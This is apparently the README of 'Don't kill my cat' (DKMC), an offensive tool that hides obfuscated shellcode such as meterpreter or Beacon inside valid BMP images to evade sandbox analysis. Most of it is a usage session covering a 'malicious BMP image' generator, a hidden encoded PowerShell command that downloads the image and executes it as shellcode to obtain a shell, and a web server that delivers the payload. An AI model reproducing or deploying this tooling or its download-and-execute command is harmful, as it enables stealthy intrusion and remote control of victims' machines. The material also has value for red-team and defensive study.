Don't kill my cat is a tool that generates obfuscated shellcode that is stored inside of polyglot images. The image is 100% valid and also 100% valid shellcode. The idea is to avoid sandboxanalysis since it's a simple "legit" image. For now the tool rely on PowerShell the execute the final shellcode payload.
Why it's called don't kill my cat? Since I suck at finding names for tools, I decided to rely on the fact that the default BMP image is a cat to name the tool.
Presentation on how it works internally can be found here: https://github.com/Mr-Un1k0d3r/DKMC/blob/master/DKMC%20presentation%202017.pdf
Basic Flow
- Generate shellcode (meterpreter / Beacon)
- Embed the obfuscated shellcode inside the image
- PowerShell download the image and execute the image as shellcode
- Get your shell
Usage
Launching DKMC
$ python dkmc.py
DKMC - Don't kill my cat
Evasion tool - Mr.Un1k0d3r RingZer0 Team
|\ _,,,---,,_
/,`.-'`' -. ;-;;,_
|,4- ) )-,_..;\ ( `'-'
'---''(_/--' `-'\_) The sleepy cat
----------------------------------------------------
Select an option:
[*] (gen) Generate a malicious BMP image
[*] (web) Start a web server and deliver malicious image
[*] (ps) Generate Powershell payload
[*] (sc) Generate shellcode from raw file
[*] (exit) Quit the application
>>>>>> sc
(shellcode)>>> set source shellcode.txt
[+] source value is set.
(shellcode)>>> run
[+] Shellcode:
\x41\x41\x41\x41>>> gen
(generate)>>> set shellcode \x41\x41\x41\x41
[+] shellcode value is set.
(generate)>>> run
[+] Image size is 300 x 275
[+] Generating obfuscation key 0x1f1dad93
[+] Shellcode size 0x4 (4) bytes
[+] Generating magic bytes 0xa4d0c752
[+] Final shellcode length is 0x57 (87) bytes
[+] New BMP header set to 0x424de9a4c60300
[+] New height is 0x0e010000 (270)
[+] Successfully save the image. (/home/ringzer0/tools/DKMC/output/output-1496175261.bmp)
(generate)>>>>>> ps
(powershell)>>> set url http://127.0.0.1:8080/output-1496175261.bmp
[+] url value is set.
(powershell)>>> run
[+] Powershell script:
powershell.exe -nop -w hidden -enc JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBDAEYAVABUAEwAVgBrAEMALwB6AEUAMABPAFQAWQB4AE4AegBVADAATgBEAFEAdQBNAGoAVQAhAHQAVgBaAHIAYgA5AHAASQBGAFAAMABlAEsAZgA5AGgAVgBDAEgAWgBsAG8AdwBMAFMAYgBmAE4AUgBxAHAAVQBuAG4AbQAwAEUASQBKAEoAMABvAFMAaQBhAHIAIQB2AE0ARwBIAHMATQBUAE4AagBFAHIAZgBOAGYAOQA5AHIAWQB6AGQARQBrAEcAeAAyAHQAVwBzACsAWQBIAHYAdQAzAEwAbAB6AHoAcgBuAEgANAA0AEkAdQB1ADEAbwB5AFQAMwBlAEUARAA2AFIAOABDAFYASQB4AEUAWgBLADkAMwBaADMAZABuAFoASwAvAGIASAA4AEYANQBRAHMALwBjAFAAWABGAFAASQBDADcAZQBmACsAbwBkADAANAArAGsAawAvAEcANwBzADQAawBEAGoAMgBkAHgAbAA3ADIANQB2AGYAWAB2AFQAYgA1AHUAYgB0AEQAOABxAHQASABKAFEAMgBJAFcAVgBwAFMAKwBUADAAUQBmAHMAegBCAEoAdABsAEQASgBJAFUASABmAGkAegBCAGUAZwB3AHUATABTADQARwA3AGMAKwBZADEAUgB6AFcAbwBxAGcAcAAhAHMAcgBDADAAZQBGAGgASQA1AFkAUwBRAHIAMQA2AGQAbwA1ACEAMQA1AFMAQwBZAE0AdwBaAEsATgBNAGkAdgA4AGoAVgBEAEMAUwBVAHoAOABhADMANABHAG4AeQBrADUAUwArAE8AMABkAGMAagBDAG4AUAB3ADUASQBHADkAVwBhADQAbwAxAHIAbwBwADIATgBmAGgARQBmAFQAYQBoADAAMwA0AGsAeQBiAHgAcgBkAHYAaABqAFUAcwBWADAAZABPAGEAeABGAFQAcgBrAHoARABUAFoAUwBHAHcAUABFADUATgB5AHoAeQBZAEsAVQBMAEQAcABJAEkAVABLAFAARABQAEMAbQBVAG0ARwBqAG4AaQBvAFgANwBlADgANQBGAHEATwBnAEUAdQBwAGgAdABDAFIAMwBRAE0AKwBFAHIAdwAwAHIAaABLAHYAWQBqAFEAYwBjAHkAegBMAGUAVgA1AGwAbABGAG0AUQBiAGUAOQBuAEQALwBOAGQAKwBYAG8ASABDAFMAYwB4AEkAdQB4AFIAegBNAFUAaABoAHoAYgBwAE4AUAA1AGoAIQB2AG8AaAArAEgAbQBnAFcAIQA0AHgAcQBrAGkARgB5AFEAUwArAGEAQgBjAG8ANQBwADYASABQAG8AdwAyAFIAawBkAHUARwB1ADIAUAB0AHIASgA1AG4AcgBrAHoAQwBxAHAANgBWAGwASQAwAG4AYgA2AHUAeABrAHAASwAyAG0ARwB0AFoAbQBwAFcAdgBNAFcAbgBoAHQAcwBJAHUAIQBQAEsAUwBZAC8AQgBiAEoAZgBMAEgAbwBSAC8AVwBsAFkAdQBGAFIAdQBFAFUAcABqAHkAKwBLAGEANQBpAE4AIQBPADcARgA3ACEAbgBGAHMAaQBRAGYAUwBjAFUAbQBIAFMAeQBLAGEAaQBFAFQAZgBDAHcATgBaACEAegBXAGkAIQB4AFQAcQBvAGEAagBFAFMAbABCAGYAQwA0AG4AOAA2AGIAbwBkADQASwBwAGwAOQBSAG8AYgBMADgAMgBkAGIAWABJAGcAMQBuAEcANAArAG4AMAA3AFAAagBIAFkARABZAE4ARgBxADAAegBIAEIAeABlAEMAdQBhAFAASABsAE0AOQBJAGIAegBVAHYAagBtACsAZwBMAG8ATwB1AEMALwBiAFgAWAA0ADAAVABpAGMAOABMACsAVQBtAFQARgBnAEkAegBTAFMAawAhAGYATQBLAHQAWgByAGIARwBJAFUASgBoAHcAdwArAHAAdwBqAHIAWQB0ADIAbQBrAFEAKwAhADMAdwBRAE8AVQA2AHAAVABpAG0AdwB5ADMASgB6AFcAQwBwAGoAKwBQAGIAYwBlAE0AKwA2AEQAcgBIAG0AbwBDAG8AVgBWAG8AVwBDAHMAcAA4AFcAcwBXAEQAZQBOAGsANwAhAEQAIQBTAEsAOABlAGoAYQBRADMAUQBuADIAQwBCAFQAUgBlAFYAOABrAHgAZQByAHAATQB3AFkAWgBEAFUANgBWAHMAawBrAHYAeABpAGIAMQBiAE8ASQBDADUAZQBEAGIAcABCAFkAcQBsAGcALwBWAFkAaQAyAHkAVwArAE8AeAAzAEUANwBNAE4AZgBPAG8AMABrAFcANgBrAGYAVQBDAHQASABrAEoARABSAEUAcQBMAFcATQBQAGQAWQBCAHcARABOAHcASQBQAEUAWgA1AGkAbwA1AE4AagBwAGsAUAA5AGMAUgBsADAANgBJAFUAWQB5AHMAMgBEAGMAbwA1AEMANgBlAFkAYQBZAG4AYwA0AEoAcwBVAEUAMQBlAG4ANgBwAEoAWQA5AGEAYQBTAEwATQBjAEYAZgBSAEoARQBIACEASwBjAGsATABsAEoAbQA5AE0AcABlAGsAZgBlAGUAcABrADIANgBSAFIAOAA0AHgAVQA3AEsASgBwAHQAMQBWAGsAcABmACEAVgB1AGEALwBXAGoASgBsAHcAdQB0AEUAMAB1AG0AZABUAG8AVQB5AGsAVgBUADcAWAA1ADMAeABWAGEAMgBOAFoARwB2AFEAMABKAE8AYwBsAG0AMABkAGIARABlAHEATABUAGYAaQB2AEYAQwBYAEIAKwBmAG4AWQBSAFgAWQBlADMAbAAxAGUAZABtADMANgBYAHoAZwBhADMAawBVADcAZABmAEYAUABRAFgAVQAhAFQAaABYAEUARABQAFQAegBVAHEAQwBaAHgARgAzAEoAQgAvAFMAYgBWADEASAB3AHoAMAB6AG8ANgBmAFAAdQAyAHUAdgBmAEIAcQBlAEMAdgBlAG4AaABRAE8AYQBpADgARgBiAEcATwBZAGwAMgB1AHYAdgB2AHoAZgBmAFgARABIADMAdgB2AHEAOAA0ADQAaQBOADUAawA3AFYAZgA2ACsAaQBOAGEAcQBMADUAcQBpAGQAbABpAGUAagBvAC8AdgBiADYAZQB6AEQANgBQAGsANQBPAGIAdABQADMAKwB4AGgAUQA3AFYASwBvAFoANQBjAGcANABtAGwAMABoAHYATABhAFEANwBkAHkAdgBlAG8ASwBsAE0AMAB5AHoAKwBMAGoATgBRAFkAYgAhADAAZgA3AHgAIQAxAEcAdwBVAGUATgBjAGUASwBtAEYAUABqAEUAMwB0AFAARwBWAHUAWQA1AFEAZABoAGQANAB1ADcAKwAzADkAYwA0AGkAdgB3AE8AdABSADQAYwB0AFgAaAAwAGUAMwBtAEQAQgB5AE8ANQB6AEMARAB0AGYASQBKAHoAcQBtAFYAMgA1ADMANgA5AFUAMABCAFkAcgA5ACsAOABxAEMATQB2AHIATgA5ADQAUQBVAFcASQArAG0AOQA1AE8AcgBmAFoAWgBoAEYAKwBxAGkAMgBkADEAcgBSAGgAYQAwAHYANQA5ADcAZQBZADYAawBkAEQAcwA5AGkANAA3AHIAVgBiAGMAOQBPAGIALwBPAHoAMgA1AFkARwBmADQANQA3ACsAVwBuAHMAZAAzAEwANAB5ACsAaQByAEsASwAvAFQAeABzAEcANgBGAFAAWAAvAHcAagAvAHYANABOAE0AbABlAFUAYQBRAHgAMgAwAGYAYwA0AHIASAByAHoAWgBZAEIAeQBxAGEANgBkACEATABaAFMAaQBpAHEAYwA1AEYAZAA2AE4ARAB2AEQAagB1ADMAaQBTAFcARgAzAHgALwBpAFUANgB1AEIAawBRAHQAWgBRAFUAdQB3AEgAbgBzAHQAZwBRAFEANgBzADkAWgBPACEAMABsAFQAcQA4AHEAMABZADQAMgBFAHUAUwBqAC8AUQB1AEYAWQByADYAcAArADEANQAwAGUAdAB3AFQASwB1ADkAOAArAEQAZgBxAHQAdQBrAFoAUABXAFYANwBKAHQAaABEAHkAUQBNAHEASgBXAFUALwB0ADcAZQBPAHEAVAAwAHoAZwAxAFAALwBMAGMARwBmAFkAWAB1AFUATQBzAHMAdQBWACsAawBUADUANABnAEsAZQA1ADgAcQBrAFkAWgB3AFkASAArAEwARgBiAEwAeQAxAGIAYwBuAHMAaQBqAFAAOABMAHAAegBWADkAdABFAFEATAAhACEAIQA9ACIALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAgACIAQQAiACkAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA
(powershell)>>>>>> web
(web)>>> set port 8080
[+] port value is set.
(web)>>> run
[+] Starting web server on port 8080
127.0.0.1 - - [30/May/2017 16:18:43] "GET /output-1496175261.bmp HTTP/1.1" 200 -TODO
Support more file format.
Credit
Mr.Un1k0d3r RingZer0 Team 2016